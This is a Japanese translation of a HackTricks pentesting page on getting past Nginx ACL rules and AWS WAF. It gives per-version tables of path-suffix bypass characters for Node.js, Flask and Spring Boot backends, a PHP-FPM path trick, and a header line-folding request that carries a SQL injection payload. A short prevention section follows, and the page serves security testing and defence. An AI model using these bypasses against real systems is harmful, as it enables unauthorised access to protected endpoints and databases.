hacktricks/pentesting-web/proxy-waf-protections-bypass.md

7.9 KiB
Raw Blame History

プロキシ/WAF保護のバイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Nginx ACLルールのバイパス

Nginxの制限の例

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

NodeJS

  • Nginxはパス名の一部として文字 \xa0 を含んでいるため、/admin URIのACLルールはトリガーされません。その結果、NginxはHTTPメッセージをバックエンドに転送します。
  • Node.jsサーバーが/admin\x0a URIを受信すると、文字 \xa0 が削除され、/admin エンドポイントの正常な取得が可能になります。
Nginxのバージョン Node.jsバイパス文字
1.22.0 \xA0
1.21.6 \xA0
1.20.2 \xA0, \x09, \x0C
1.18.0 \xA0, \x09, \x0C
1.16.1 \xA0, \x09, \x0C

Flask

FlaskはURLパスから文字 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, \x09 を削除しますが、NGINXは削除しません。

Nginxのバージョン Flaskバイパス文字
1.22.0 \x85, \xA0
1.21.6 \x85, \xA0
1.20.2 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1 \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

以下に、ACL保護を回避するためにパス名の末尾に文字 \x09 または を追加するデモンストレーションがあります。

Nginxのバージョン Spring Bootバイパス文字
1.22.0 ;
1.21.6 ;
1.20.2 \x09, ;
1.18.0 \x09, ;
1.16.1 \x09, ;

PHP-FPM

次のNginx FPMの設定を考えてみましょう

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

/admin.php/index.phpにアクセスすることで、それをバイパスすることが可能です。

予防方法

これらの問題を防ぐために、Nginx ACLルールでは=の代わりに~式を使用する必要があります。例えば、以下のようになります:

COPYCOPY

location ~* ^/admin {
deny all;
}

行折り返しを使用してAWS WAF ACLをバイパスする

以下の構文を使用することで、HTTPヘッダーのAWS WAF保護をバイパスすることが可能です。AWS WAFはX-QueryヘッダーがSQLインジェクションペイロードを含んでいることを理解しませんが、背後のードサーバーは理解します。

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥